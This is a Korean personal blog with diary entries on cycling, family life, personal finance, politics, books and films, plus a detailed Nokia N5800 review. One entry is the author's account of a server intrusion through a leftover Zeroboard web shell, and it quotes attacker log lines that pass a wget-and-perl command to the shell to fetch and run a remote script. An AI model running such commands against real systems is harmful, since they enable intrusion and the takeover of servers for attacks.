인간은 실재하는 사물과 존재하지 않는 연결을 천성적으로 추구한다. 심지어 실재하지 않는 것들과의 연결도 열광적으로 추구한다. 이를테면 램 상주하는 신과 도깨비는 대뇌의 피치못할 누더기 구조 탓이지 당신의 개성과 신념 탓이 아니다. 그런 거 안 쳐준다.

4월 1일. 5불 생활자 카페에서 온 메일: 5불생활자 세계일주 클럽 자체 추첨 결과 EBS 세계테마기행 후속편으로 기획된 '인류, 세계문화기행'에 ujulman2010과 내가 대표로 추첨되었다. 8개월 동안 4대륙 27개국을 여행하는데, 경비 일체를 제공하고 훗날 책으로 만들어 준단다. 낄낄 웃었다.

http://www.theplastiki.com/
 -- 명분을 만들어 이런 일도 한다. 정말 잘 논다. 부자 되면 나도 해야지.

http://www.hellofromearth.net/ -- 메시지들이 귀엽다. 이왕이면 Unicode로 각국의 언어 그대로 메시지를 보내면 더 좋았을껄.

대만서는 쓰나미 없어 오히려 실망 -- 인도네시아, 아이티, 칠레. 전설적인 ring of fire의 부활. 일본이 지진으로 작살나면 한국 경제가 타격을 입을텐데 그거 모르고 은근히 일본이 망하길 바라는 아이들도 있고(민비가 국모?), 내력이 있다 쳐도 옆 나라도 아닌데 먼 바다 저편의 한국이 싫다며 울부짖는 대만인들도 있고. 

3/25 zeroboard의 버그를 이용한 php script code injection에 의해 서버가 해킹 당했다.  좀비 서버로 사용해 다른 서버를 해킹하기 위한 용도로 사용한 것 같다. 해킹 당하기 전 부터 zeroboard의 버그를 알고 있었는데 (data/shell.php) zeroboard XE로 교체한 후 예전 소스를 안 지웠다.  logwatch를 보고 있었음에도 최근에 바빠서 건성건성 쳐다보다가 당한 셈.  http 로그에는 이렇게 남았다:
GET /bbs//data/shell.php?cmd=uname -a
GET /bbs//data/shell.php?cmd=wget http://194.160.227.34/ize;perl ize 193.231.196.100 80
ize이란 펄 스크립트를 다운받아 실행한 다음 몇 가지 바이너리와 스크립트를 받아오고 crontab에 /bbs/data/.pid/y2kupdate 를 등록한다. 특정 호스트로 대량의 트래픽을 발생시킨다. 호스팅 업체에서 서버의 트래픽이 비정상적임을 mrtg로 감지하고 서버를 차단해 토요일 오전 4시부터 10시 무렵까지 서버에 들어갈 수 없었다. 동일한 방식의 공격으로 많은 호스트가 당한 듯. 토요일에 잠시 포트를 열어 달라고 부탁해 ssh로 작업해서 복구했다. 일요일에 재발. 자세히 살펴보니 트래픽을 발생시키는 std 란 프로세스를 지우지 않았다. 원격 콘솔을 사용할 수 없어 월요일에 분당에 있는 IDC에 가서 복구했다. 피해를 조사해보니 해킹당한 계정은 없었다. 빈정 상했다.

토요일에 산에 가려다고 서버가 그 모양이 되서 원인 파악하고 해결 하느라 오전을 보냈다. 하는 수 없이 자전거를 타고 나갔다. 무수한 MTB를 신나게 추월해서 광교산 입구에 다다라 쉬고 있는데 추월한 아저씨들이 옆길로 올라가는 것이 보였다. 호기심에 그들을 따라 갔다. 광교산 입구에서 통신대까지 도로가 나 있는 것 같다.

한참 업힐 중에 멈췄다. 자전거를 손보지 않은 상태라 기어가 1단으로 내려가지 않는다. 젠장. 올해 처음으로 제대로 자전거를 타는 건데 무리할 이유가 없어 멈췄다. 뒤따라 올라오던 아저씨가(두 번 내게 추월 당한) '이거 일반 자전거죠?' 라고 물었다. 흘낏 그 아저씨 자전거를 보니 내 자전거의 10~20배 정도 되는 값비싼 자전거다. '네 그래서 속도가 안 나요.' 라고 말해 염장 처리 했다.

다운힐에서 55kmh 가 나왔다. 겁이 나서 브레이크를 자주 잡았다. 예전에 타고 다니던 27만원 짜리 유사 MTB보다 고속 주행시 안정감이 눈에 띄게 좋다. 역시 45만원이나 하는 비싼 자전거가 값을 하는구나 생각했다. 시내를 가로질러 가는데 비싸 보이는 사이클을 타고 다니는 한 무리의 사람들을 봤다. 언젠가 나도 저런 크로몰리 프레임을 타게 될까? 글쎄... 내 마음이 저렴해서.

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아내의 요구 조건: 라디오 알람 나오는 디지탈 시계. 그 스펙이면 누구나 얼핏 모양이 아름답고 부드러운 소리가 나는 Tivoli Model 3를 생각하겠지만 난 다르다. 값싸게 대충 만든 중국제 잡표가 전광석화처럼 떠오른다. 이렇게 구입한 라디오 알람 시계에는 신기한 기능이 있다. LED 전구로 천정에 시간을 투사할 수 있다. 라디오 시간 동기(KBS 라디오 전파를 받아 라디오의 시간을 자동으로 맞추는 기능)가 없는 것이 아쉽다. 아이 밥 먹이고 어린이집에 데려다 줘야 해서 아내는 알람을 7시에 맞췄다. 때문에 졸지에 나까지 그 시간에 출근 준비를 했다. 개발자란 모름지기 아침에 푹 자야 창의력과 집중력이 생기는데.

굳이 디지털 시계를 구입해야 하는 까닭: 바늘 시계의 틱틱 소리 때문에 신경이 곤두선다나? 아내만 그런 줄 알았는데 다른 여자들도 그런 것 같다. 그런데 나는 시계 소리 들으면 잠이 잘 온다.

틱... 틱... 틱...
전기양 세 마리.
틱... 틱... 틱...
전기양 다섯 마리.
한 마리는 어디 갔을까?
죽었지.

100여만원에 거래된다는 '무소유'를 판매해 아이가 다니는 어린이집 월납금에 보태려고 했는데, 집에 굴러다니던 그 책이 언제인지 없어졌다. 개똥도 약에 쓰려면 없다더니. 법정의 저작 '무소유'를 어린 시절에 읽었다. 당시에는 내가 심한 무소유 상태라서 읽어도 아무 느낌이 없었다. 무슨 내용이었는지 기억도 안 난다.

몇 개월 전부터 자칭 파이낸셜 플래너(속칭 보험 설계사)가 끈질기게 전화를 걸었다. 가입한 보험상품에 문제가 있으니 만나서 재무 설계를 도와주겠단다. 문제가 뭐냐고 물으니 내용이 길어 만나서 얘기하잔다. 바쁘다고 줄곳 거절했지만, 만나서 얘기듣는데 손해볼 것 없지 않느냐고 참 질기게 설득한다.

사무실 근처 커피숍에서 인사했다. 한 30분은 재무설계 하는 척 하더니 인터넷으로 가입했던 저축보험을 해약하고 변액보험으로 갈아타라고 충고한다. 보아하니 인터넷으로 가입한 사람들을 찾아 돌아다니며 보험 설계랍시고 가입자를 설득해 신규 보험으로 갈아타게 해서 보험 설계사 수당으로 먹고 사는 것 같았다(왠지 내가 부러 시간내서 똥 밟은 기분). 최저 4% 연 복리가 보장되는 저축보험의 장래야 장기 저금리 시대가 도래해 앞날이 무척 암울하지만, 애당초 연 4% 가정하고 가입했기에  바꿀 생각이 없다.

그 날 따라 거래처 전화를 기다리며 딱히 할 일이 없어 한가한 오후였다. 재테크에 관해 피차 이런 저런 쓸데없는 얘기를 주고 받았다. 미래가 얼마나 절망적이며 내가 얼마나 무계획하게 살아가고 있는지 침 튀기는 웅변(거의 절규에 가까운)도 들었다.

이렇게 만난 것도 인연인데, 커피도 얻어 마셨고, 그 양반에게는 내가 주식투자로 푼돈 번 성공담을 얘기해 주고(난 시장에서 저평가되는 싼 주식 중 내가 아는 IT 분야의 유망 중소 종목만 2-3% 수익을 목적으로 쩨쩨하게 주식투자한다.  그랬더니 한달에 5~10만원은 버는 것 같다. 경제도 배우고 실패도 배우고 게다가 생활에 보탬이 된다 당신도 함 해봐라 하이닉스가 블록세일에 성공해서 앞날에 거추장 스러울게 없다. 3만원 보고 몇 개월 잼겨 놓았고 6월쯤에 환매할 예정이다. STS 반도체는 삼성의 SSD를 받아 테스트한다. 꽤 싼 주식인데 내 경우 6천원에 들어갔고 지금 7천원인데 만원 보고 있다. HTS 보고 사냐고? 하루에 2-3번 본다. 단타는 안 한다.).

최근에 배운 재테크 기법을 잘난 체 하며 전수해 주기도 했다. 변호사, 의사 등 고소득 직종군에서 요새 유행하고 있는 '풍차 돌리기'라는 것인데, 환금성과 복리 효과 두 마리 토끼를 잡는 비결이다. 목돈이 있으면 비교적 금리가 높고 세제 혜택이 있는 신협에서 1개월 단위로 최저 예금액으로(보통 100~200만원 수준) 매월 가입해 12개의 통장을 만드는 것이다. 그리고 1년이 지나면 최초 가입한 예금을 해약하고 원금+이자를 받아 다시 예금에 넣는다. 깨기 힘든 적금이나 예금과 달리 목돈이 필요할 때 즉시 환금할 수 있으며 복리 효과도 유지된다.

입만 열면 72의 법칙 운운 하는 그가 복리 계산식을 잘 모르는 것 같아 노키아폰을 꺼내 공학용 계산기로 가르쳐 주었다. S = I * (1 + r) ^ y (S: 총액, I: 초기금액, r: 이율, y: 연수) 이렇게 해서 애써 모은  3천만원의 목돈으로 연복리 5.7%(현재 시중의 저축은행 중 가장 높은 금리)로 10년을 굴려야  S = 3000 * ( 1 + 0.057) ^ 10 = 5222만원이 된다. 어떻게 보면 인덱스 펀드만도 못한 수익율일 수도 있다.

악수 하고 헤어질 때 그 양반이 이렇게 말했다: 유익한 시간이었어요.
그럼 나는!?

봄은 참 늦게 왔고 그 동안 참 차게 지냈다. 난방비 7만원에 아내가 기겁해서 보일러를 꺼 버렸고 아이는 감기를 달고 살았다. 아파트 지역 난방 밸브 조절 무의미 -- 요점 정리: 유량으로 측정하면 난방비가 더 나온다(기지의 사실). 들어오는 물의 온도와, 나가는 물의 온도차로 측정하는 적산 열용량계를 신청해서 달면 난방비를 아낄 수 있다. 참고자료: http://music24.kr/xe/4550 또는, http://www.jay.or.kr/sub_read.html?uid=1394&section=section17 아파트에 설치된 것이 적산 열량계로 추정된다. 고로 교환할 필요가 없을 것 같은데, 관리실에 묻는 걸 번번이 잊어버렸다. '가스 요금 2012부터 열량 단위 부과' -- 이런 기사도 있는데, 음식하기 힘들 정도는 아니겠지?

3/20 제프 벡 내한 공연에 못 가서 기분 더럽다. 블로그에 제프 벡 공연 갔다왔다고 자랑하는 거 보면 부러웠다. 며칠째 그의 디스코그래피를 전부 듣고 있다. 휴대폰 벨소리를 Cause We've Ended As Lovers로 바꿨다. 비디오의 저 여자애는 누구지? 오... 하하. 생각난 김에 연락처를 그룹으로 나누고 벨소리를 각각 다르게 지정했다.   Mellow Candle의 Heaven Heath, Boulders on my Grave,   Latte E Miele, Terzo Quadro , Beatles, Here Comes the Sun , Octopus's Garden, Klaatu, Hope, Yngwie Malmsteen, As Above, So Below, 밤에 사무실에 앉아 연락처를 그루핑하고 벨소리를 편집하다보니 만족스럽기 보다는 밤 늦게까지 뭐 하는 짓인가 싶어 비웃음이 나왔다.

곽영욱, 총선때 한명숙 계좌에 100만원 송금 -- 정말 장한 일 했다. 검찰.

6/2이 지방선거다. 바빠서 후보들의 뒷조사를 할 시간이 없다. 유시민이 경기도 지사 후보로 출마했다. 별 고민없이 그를 찍을 것이다. 정운찬 총리는 세종시 수정안에 관해 '다소 손해를 보더라도 약속을 지켜야 한다'는 자신의 철학이 담긴 자서전을 면전에서 흔드는 한 국회의원에게 당혹스러운 표정을 지었다. 세종시 수정안을 반대하는 박근혜에게는 국민과의 약속을 지킨다는 명분이 있다. 여당이 두 패로 나뉘어 아귀다툼을 벌이고 있는 와중에 청와대 이동관 수석은 '대구, 경북 놈들 문제 많다'고 말했다. 그러고도 안 짤리는 걸 보니 이명박 대통령의 의중을 적시한 것인가 보다. 여당이 좀 더 힘차게 싸우다가 열받은 이명박 대통령이 장중한 결단을 내리길 바란다. 이 나라가 쪼개지건 말건 결단(자뻑)은 물론 국민투표가 바람직했다.

늘 생각이 많은 직장인 x씨는 이렇게 말했다: 아 심심해서 자살하고 싶다.  스타일을 중시하는 베짱이들은 한겨울 추위 속에 식량이 떨어져도 개미 집 앞에서 문을 두드리며 비참한 꼴을 보이는 대신, 눈보라치는 벌판에 드러누워 말없이 피식 웃고 시크하게 죽었다.
 
제임스 모로, 하느님 끌기 -- 설익은 번역. 징글징글하고 별로 즐기고 싶지 않은 농담 따먹기라 웃기지 않았다. 북스피어는 에스프레소 노벨라 발행에 즈음해 '책은 재미가 없으면 말짱 꽝이다'란 발행 철학을 내세웠다.

로저 젤라즈니, 집행인의 귀향 -- 에스프레소 노벨라 첫 권. 왠지 변죽만 울리다 끝난 것만 같다. 이왕 맘 먹었으면 팔 걷어붙이고 도스토예프스키처럼 썼으면 얼마나 좋아? 행맨과의 격투에 관해 번역자와 대체 그런 아크로바트가 어떻게 가능한가 뒷다마를 깠다. 그래도 하인라인이나 실버버그, 아시모프처럼 동시대상이 반영되어 지금 읽기엔 구질구질한 로봇과 인공지능의 실존에 관한 거개 SF작가들의 견해보다 젤라즈니가 상대적으로 세련된 것이다.

울라프 스태플슨, 스타메이커 -- 옛날 SF임에도 최근의 우주론의 대세와 부합되지 않는 몇 가지를 첨삭하고 고루한 문장을 조금 손 보는 정도 외에는 길이 남을 기념비적인 작품이다. 중반 이후론 재미가 없지만. 올 가을 쯤에는 때가 되었으니 과천 과학관에 가서 아이에게 별들을 구경시켜 줄 것이다. 과천 과학관에서 혹시 플라네타리움 전용 필름 같은 걸 상영 하는지 모르겠다.

오랫만에 서울에 갔다. 여자들은 생각보다 별로 안 예뻤고(복식만 그럴 듯) 대개의 사람들이 지하철에서 우측보행을 했다. 생각 외로 금새 자율화되는 것 같아 의아했다.
우측보행이 일반화된다면 보행 편의성은 크게 좋아진다. 한국교통연구원의 가상 시뮬레이션에 따르면 보행속도는1.2~1.7배 증가하고 충돌 횟수7~24%,보행밀도 19~58% 감소 등이 이뤄진다. 보행 편의성이 좋아진다는 의미다. 한국교통연구원의 이종훈 연구원은 현실과 다소 차이는 있을 수 있지만 효율적인 보행방식임은 틀림없다고 설명했다.

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선경 도서관. 4월초 시내 모든 도서관을 연계하는 작업 때문에 며칠 문을 닫는다. 시스템이 바뀌면 대출 연장이 가능했으면 좋겠다. 책 읽을 시간은 나날이 줄어간다.

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맑은 날에는 노키아 휴대폰으로도 사진이 그럭저럭 잘 나왔다. 카메라 패치를 하면 확대해도 덜 깨진다. 아이를 데리고 팔달산에 올라갔다가 성벽길을 하릴없이 걸었다. '아빠 말 안 들으면 같이 안 놀아줄 꺼야' 하면 고분고분해졌다. 아이를 목마 태우고 고갯길을 오르락 내리락 하면 운동이 된다.  

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The Hangover. 엔딩 크레딧을 끝까지 본 흔치 않은 코메디. 엔딩 크레딧에 나오는 사진들을 보지 않으면 영화를 봤다고 할 수가 없을 듯.

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이로써 밀레니엄 3부작을 모두 영화로 봤다. 1편에서 봤던 대로 여전히 귀엽고 똑똑한 아가씨다. 어떤 면에서는 무슨 짓을 하던지 쉽게 그 행동과 정서가 이해가 가는 보기 드문 '여자'여서 더더욱 애착이 가는 것 같다. 시스템이 그녀의 복수를 해줬지만 마무리는 깔끔하게 그녀 몫이었다. 한편으로는 스웨덴이 부러웠다. 한국은 강간 피해자들에게 '왜 저항할 생각을 안 했냐'고 묻는 싸가지 없고 좆같은 시스템이 지배한다. 밀레니엄 시리즈를 계속 보고 싶은데, 유감스럽게도 작가가 죽었다.

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Legend of the Seeker. 정 붙여 보려고 노력 중인 드라마. 스토리/시나리오에 딱히 흠 잡을 것은 없는데 왜 이렇게 극화가 매 화마다 짜증나나 싶더만 별로 이미지가 어울리지 않는 것 같은 배우들, 액션,  연출 때문이다. 하지만 가슴은 훌륭했다.

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전우치. 딱히 걸리적거리는 게 없어 즐겁게 봤다. 남자 주인공이 인상적이라 누군가 했더니... 그 유명한... 음. 여전히 이름은 모르겠다. 저 여자애는 아무나 해도 될 역이지 싶다.





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N5800의 배터리 사용 시간 테스트를 했다. 버스 타고 출근하는데 오늘은 가방에 넣어 두고 읽곤 하던 책이 마침 없어 심심해서 해 봤다.

다음은 지극히 개인적인 사용 방식을 감안한 배터리 테스트 (산행 중에 가끔 GPS로 위치 확인하고(LCD=off), 음악 들으며 가끔 사진 찍을 때를 가정한 테스트):

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주1) Energy Profiler 빼고는 아무 것도 실행하지 않은 상태. Profile=일반
주2) Garmin Mobile XT에서 지도를 보지 않고 초기화면만 띄워놓은 상태
주3) Garmin Mobile XT에서 지도를 보고 있는 상태
주4) Bluetooth 스택을 켜고 블루투스 헤드셋과 페어링 된 상태. MP3를 플레이하면 헤드셋으로 청취.

읽는 법: Energy Profiler에서 표시하는 소비전력은 W로, 소비전류는 mAH (시간당 소비전류)로 표시한다. 소비전력 보다는 소비전류가 계산이 편해 시간당 소비전류를 표기. 예상사용시간은 배터리 용량을 시간당소비전류로 나눈 것이다. 장착한 배터리의 용량은 3.7V x 1320mAH = 4.884Wh(표기 용량은 4.9Wh)이다. 항목 중 '아무 것도 안함'일 때 소비전류가 21mAH로 1320mAH / 21 mAH = 62h 이 나와야 하지만 Energy Profiler는 1260mAH로 계산한다. 따라서 1260 / 21 = 60h.

테스트 조건:
  • 측정: Energy Profiler 1.2 사용: 측정이 귀찮고 까다로워 20-30초 평균 소비전류량을 측정해 계산한 것으로 실제와는 차이가 있을 수 있다. Energy Profiler가 CPU를 2% 가량 사용하는 것 같음.
  • LCD off(LCD가 켜진 상태일 경우 50% 밝기), Free Memory: 24.42MB, Phone Disk: 28.88MB, Memory Card: 68.50MB
  • 연결: 일반 프로파일(KT 패킷 전화망을 켠 상태, BT 및 무선랜은 테스트에 따라 켜거나 끈다), USB는 연결 안함.
  • 실행중인 process list
    • EasServer.exe
    • EasStartUp.exe
    • OPENLICENSESERVER
    • SymSvr_0x2002A6CE.exe
    • TSRAutoStart.exe
    • aRed
    • psdk_Impro.exe
    • s2gvariantserv.exe
논평: energy profiler가 믿을 만한 프로그램이란 전제하에.

MP3만 재생할 때, N5800이 27시간 연속 재생이 가능하다고 자랑하는데, 실제로는 18~19시간 정도 되는 것 같다. profile=offline으로 했을 때(전화기를 off 시킬 때)와 그렇지 않을 때 전류 사용량이 2mAH 밖에 차이가 나지 않아 전화기를 off 하면 약 1시간 더 늘어난다. energy profiler 자체가 먹는 전력이 있어 실제 재생 시간은 딱히 알 방법이 없는데 굳이 알려고 하면 회로 끊고 전류 재 보는 수 밖에 없다. 그럴 정성은 없다.

Google Maps는 GPS 뿐만 아니라 타일 맵을 수시로 업데이트하고, 없는 타일맵을 서버에서 전송받기 때문에 부하가 상당한 프로그램이다. 예쁘장하고 알록달록한 지도를 보는 용도 빼고는 딱히 쓸모가 없었다 -- 뚜벅이 모드에서 길찾기에 잠깐 사용하는 정도. 실은 그것도 유용했다.

Garmin Mobile XT는 실행시점에서 A-GPS용 데이터를 가져오지 않는 것 같아 ovi map이나 google maps를 한 번은 실행해서 GPS 위치를 잡은 다음 종료 시키고 Mobile XT를 실행했다. Mobile XT 주 화면만 보고 있을 때와 Mobile XT로 지도를 보고 있을 때의 소비 전력이 크게 차이 난다. 압축된 지도 파일을 디코딩 해서 화면에 렌더링하는데 많은 전력을 소비하는 것 같다.

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1. 에너지 프로파일러의 디폴트 화면은 wattage를 보게 되어 있는데, 이것을 전류 보기로 바꾼 것. 상단의 3.76V는 현재 배터리 전압, 1x는 그래프의 가로축 확대 비율, 11:04는 현재 소비 전류로 사용 가능한 시간을 보여준다. 그래프를 더블클릭하여 드래깅해서 영역을 지정하면 선택된 영역의 평균 전류를 보여준다(화면의 114mA). 2. Garmin Mobile XT의 주 화면. View Map을 하지 않는 상태면 전력소비가 적다. 산행 중일 때는 View Map 상태로 굳이 장시간 놓아둘 필요가 없을 듯.

LCD가 켜진 상태면 적어도 200mA의 전류를 사용한다. 카메라를 스틸 컷 모드로 사용할 때와 비디오 모드로 레코딩할 때 전류차가 50-60mA 가량 나는데, 아무래도 오차 같다.

컴퓨터 뒷편의 어두컴컴한 곳에서 커넥터를 꽂을 때나 멀티탭의 플러그를 찾을 때 유용하게 사용하는 BrightLight는 카메라 옆에 붙어 있는 2개의 고휘도 발광 LED를 켜는 프로그램인데 LCD off 상태에서도 상당한 전류를 소비했다.  

블루투스 헤드셋으로 MP3 음악을 들을 때 유난히 전력을 많이 사용했다. 아마도 MP3 디코딩 후 블투 전송을 위해 SBC 엔코딩을 다시 하고 전파로 날려주기 위해 사용하는 전력인 듯 싶다. 블루투스의 송출 전파 강도를 조절할 수 있으면 좋겠다.

GPS 켠 상태로 음악 들으며 웹을 사용하면 3시간 이상 사용하기 어렵다. 여기다 블투 헤드셋까지 사용하면 2시간 나오는게 고작일 듯. 하지만 프로그램들이 매우 유연하게 잘 돌아간다. 그런데 iPhone이 이게 되나?

GPS를 켠 상태로 이어폰으로 라디오를 듣는 경우에는 무려 15시간 가량 작동한다.

시나리오:

  • 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 40장 정도의 사진을 찍고 한 번 사진 찍을 때 20초를 소비한다면, 600mAH*(20s/1h)*40 = 133mAH
  • 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 3개의 비디오를 1분씩 찍을 때, 600mAH*(1m/1h)*3 = 30mAH
  • GPS + MP3 with Bluetooth(172mAH) 에, 사진 찍고 비디오 찍으면서 돌아다니면 (1260-133-30)/172 = 6.3h
  • N5800은 라디오를 듣기 위해 반드시 이어폰을 이어폰잭에 꽂아야 한다. 그렇게 되면 블루투스 헤드셋을 사용할 수 없다. 하여튼, GPS + Radio Vol=100% (85mAH) 에, 사진 찍고 비디오 찍으며 돌아다니면 (1260-133-30)/85= 12.9h.
자전거 탈 때 주로 사용하는 Vista HCX GPSr(27만원)은 AA 전지 2개로 LCD 켠 상태에서(backlight=off) 스펙상 25시간 동안 사용할 수 있다. 2000mAH 짜리 NiMH 배터리를 사용할 때 실 사용시간은 18~19h 정도 되는데, N5800(0원)은 비록 LCD off 상태지만 라디오 들으면서 13h 시간 동안 사진 찍고 비디오 찍고 별별 짓을 다 할 수 있다는 뜻이다(GPS를 켜 둔 상태이므로 사진이나 비디오 찍을 때 물론 당연히 geocode가 삽입된다).

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맞는 계산이란 전제 하에, 그저 기가 막힌다. 이 스펙이면 배터리 2개 만충 상태로 룰루랄라 제주도 한 바퀴 돈다.

빠진 게 있다. 가끔 GPS 화면을 봐야 내가 어디있는지 알 수 있는데, 그렇다면 전력소비량을 다시 계산해야 한다. 그래도 배터리 하나로 하루 10시간 정도 사용은 가능할 것 같다.

아쉬운 점: Symbian용 Garmin Mobile XT 5.00.60은 한글 검색이 되지 않았다. KOTM v3.5부터는 routing을 해 놓았기 때문에 내비게이션이 가능한데, 목표지점을 한글로 검색할 수 없으면 말짱 도루묵이다. 맵 이미지 파일을 영문, 한글 2개 설치하고 검색은 영문으로 하고 명칭은 한글로 볼 수 밖에 없을 것 같다. 심지어 내비 음성이 한글로 나오기도 하는데 그건 왜 안 될까... -_-

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Nokia ExpressMusic N5800

잡기 2010. 3. 19. 19:33
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N5800을 구입하게 된 동기는, 안드로이드폰이 아직 활성화가 안되었고 무선랜은 사용하고 싶고, gps와 카메라 연동이 못내 아쉬워서다. 저렴한 가격에 안드로이드폰이 나올 때까지 버텨보자는 생각으로 N5800 버스폰을 장만했다. 4개월 약정, 요금제 1개월 유지, 가입비 분납, 휴대폰 값 무료.. 이 작전에 따르면 안드로이드폰이 쏟아져 나올 시기쯤 되면 N5800을 미련없이 버리고 안드로이드로 넘어가는 것이 가능한데, os 업그레이드 뿐만 아니라 쓰다 보니 N5800이 여러 장점이 많아 어쩌면 더 오랫동안 죽치고 사용하게 될 지도 모르겠다(노키아가 괜히 전세계 휴대폰 시장에서 38%의 쉐어를 차지하고 있는 업체가 아닌 거야).

N5800 사용자들 사이에서는 N5800을 '가난한 자들의 iphone'이라고 불렀다. 심지어 4GB 외장 SD가 포함되어 있다. 휴대폰 장만하면서 돈 들인 것이라고는  액정보호지(만오천원)와 여분의 전원 케이블(2500원) 뿐이다. 팀에서 4명이 같은 시기에 휴대폰을 구입했다. 그래서 액정 보호지를 비롯한 액세서리를 함께 구입해서 두장 들이 액정 보호지도 실은 절반 값에 산 셈이 되었다. 그야말로 60만원짜리 휴대폰을 별다른 조건 없이 거의 공짜로 구매한 셈인데, 이런 걸 안 사는 것은 인생에 길이 남을 바보짓이라고 확신했다.

구입시기: 2010-02-11.

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* 클릭하면 원본

N5800의 기본적인 전화 기능이 심플하고 마음에 든다. 그중 처음 접하는 기능들:

* 전화가 걸려왔는데 스팸이거나 받을 처지가 안될 때는 전화기를 뒤집어 놓으면 전화벨이 더 이상 울리지 않는다. 회의할 때 딴전 피우며 웹질하다가 전화 걸려올 때 유용.
* SMS 문자 보내서 원격으로 휴대폰의 모든 기능을 잠글 수 있다.
* 귀에 대면 화면이 꺼졌다가 귀에서 떼면 화면이 나타난다.
* 주머니에 넣으면 자동으로 락이 걸린다 -- application 설치해야 한다.

요금제: 2만원짜리 요금제. 150분 무료. 문자 n통 무료. 1만원 더 보태 한 달 500MB 사용 가능한 스마트500 요금제. 도합 3만원. islim 요금제는 한달 100MB 패킷 이외 조건이 같고 가격만 2만3천원. 와이파이 안 되는 곳에서는 HSDPA 패킷망으로 접속해야 뭐라도 할 수 있고, 무엇보다도 gps 사용할 때 다만 적은 패킷이라도 필요해서 무선 요금제를 안 쓸 수 없을 것 같다.

껍데기와 허우대: 공짜다.

입력: 3x4 키보드가 쓸만하고 미니 qwerty도 적응되니 쓸만하지만, full keyboard는 화면 orientation이 변경돼 불편했다. 스타일러스가 있지만 거의 빼 본 일이 없다. express music 폰의 특징적인 스타일러스, 그러니까 핸드 스트랩 끝에 달린 기타 피크는 어떻게 보면 악마 꼬리처럼 생겼다. 그것도 쓸 일이 없었다. 키보드건 화면이건 큼지막한 버튼과 조막만한 키보드를 오로지 손톱으로 긁을 뿐.

키네틱 스크롤링이 지원되지 않아 스크롤이 좀 불편한 편이나 감압식 터치는 비교적 부드러웠다. iphone에 비할 바는 아니다. 노키아 사용자들의 노력 탓에 N5800의 심비안 os 버전의 업그레이드를 KT의 부사장이 약속했다. N5800 사용자들의 일반적인 반응: 올레~!!!

음악 재생과 음질: 휴대폰에 포함된 리모컨 붙이 이어폰의 음질이 별로지만 원하는 이어폰을 끼울 수 있는 3.5파이는 장점이다. 스펙상 27시간 연속 mp3 가능하나, 그 정도까지 듣는 사람이 있을 지 의문이고 실사용을 물론 계측해 본 적이 없다. 어디선가 20시간 연속 재생해봤다는 얘긴 들어봤다. 음질은 iphone 다음으로 좋다고 소문났다. 무엇보다도 내장 스피커의 사운드가 우렁차다.

UI: 구리다. 단순해서 헤멜 일은 없을 것 같다. 버튼 3개에 스크린 버튼 2개에, 음악 들을 때를 제외하고는 대개 아무 짝에도 쓸모없는 볼륨 버튼 2개와 전원 스위치가 전부다.



동영상: 640x360 16:9 스크린은 의외로 괜찮은 품질의 동영상 플레이가 가능했다. 1500~2000kbps 정도의 동영상 정도는 너끈히 재생되었다. 아울러 카메라로 찍은 동영상은 h.264 mp4, aac 오디오로 인코딩되어 파일 크기가 작고 화질도 볼만한 수준.

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일정: 일정 화면이 별로긴 하지만(WM과 UI가 비슷) 일정을 넣거나 보는 정도는 무리가 없다. WM과 결정적으로 차이 나는 부분: outlook과 달리 WM 기기는 일정을 3개월치 이상 저장할 수 없다. 화면은 N5800에 1999년 5월부터 2010년 3월까지 약 11년치 일정을 넣어둔 것(palm 사용 시절부터 넣었던 것인데 1997년부터 2년간 일정은 소니의 palm sync 프로그램 버그로 날려먹었다). 싱크 속도는 WM의 active sync의 수십 배 이상이다.

Mail for Exchange, GoogaSync 등의 프로그램을 사용하면 N5800과 google calendar를 동기할 수 있다. 할 수는 있는데 좀 괴상하다. 테스트 해 본 것들:

outlook (gsyncit) google calendar (googasync) N5800
outlook (gsyncit) google calendar (mail for exchange) N5800
outlook (google calendar sync) google calendar (googasync) N5800
outlook (nokia pc suite) N5800 (mail for exchange) google calendar

WM처럼 일정, 할일, 연락처, 메모 모두를 싱크할 때, 넷 중 제대로 되는 것이 없다. outlook 및 google calendar에 엔트리가 중복되어서 들어가거나 이상하게 꼬인다. 그럴 때마다 아중제 1.1 로 아웃룩 중복 엔트리를 삭제하고 구글 캘린더를 지웠다가 다시 만들었다가 하기를 반복했다. calendar만 싱크하면 googasync로 충분한데, googasync는 calendar'만' 싱크된다. calendar는 multi entry라서 날씨, 음력, 국경일을 같이 볼 수 있다.

그건 그렇고, 아웃룩의 db 구조를 대체 어떻게 만들어놨길래 몇천 개 되지도 않는 일정 데이터를 넣는데 수십~수백 초가 걸리는지 의아하다. 이를테면 N5800을 그 느려터진 bluetooth로 연결해도 수천 개의 엔트리가 전송되는 것은 시간이 별로 걸리지 않았다.

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11년치 데이터를 google calendar와 outlook, N5800에서 하다가 질려서(시간이 워낙 오래 걸려서) 관두고 지금은 그냥 pc suite와 2대의 컴퓨터에서 outlook으로 싱크한다. 정말 할 일 없고 시간 많을 때 다시 해 보겠지만 현재로썬 뾰족한 솔루션이 없다.

nokia pc suite 영문판은 outlook과 싱크할 때 한글 처리에 문제가 있다. nokia pc suite의 폰트 엉망으로 나오는 것은 구글에서 구글어스 폰트로 검색해 해결:  http://blog.naver.com/comuni?Redirect=Log&logNo=80045179837

집에 굴러다니던 bluetooth 동글 외에 사무실에서 사용하려고 5000원 짜리를 옥션에서 구입했다. 불량품이 와서 교체 한 번 했다. 블투 동글에 windows xp의 기본 bluetooth 스택만으로도 nokia pc suite와 연결해서 사용하는 데 무리가 없다. usb cable 연결보다 bluetooth가 여러 가지 면에서 월등히 편리하다. N5800의 단 한 가지 단점은 싱크 케이블과 파워 케이블이 별도라는 것. 블투를 사용하면 파워 케이블만 연결해도 큰 파일 전송을 제외하고 어플리케이션 설치부터 싱크 등속이 가능하다. pc suite의 좋은 점은 폰이 sms나 전화를 받으면 화면에 그 사실을 알려준다는 점. 휴대폰이 주머니에 있거나 어느 구석에서 충전중이라도 화면만 뚜러지게 쳐다보며 작업하다가 화면에 뜨는 메시지가 반갑다.

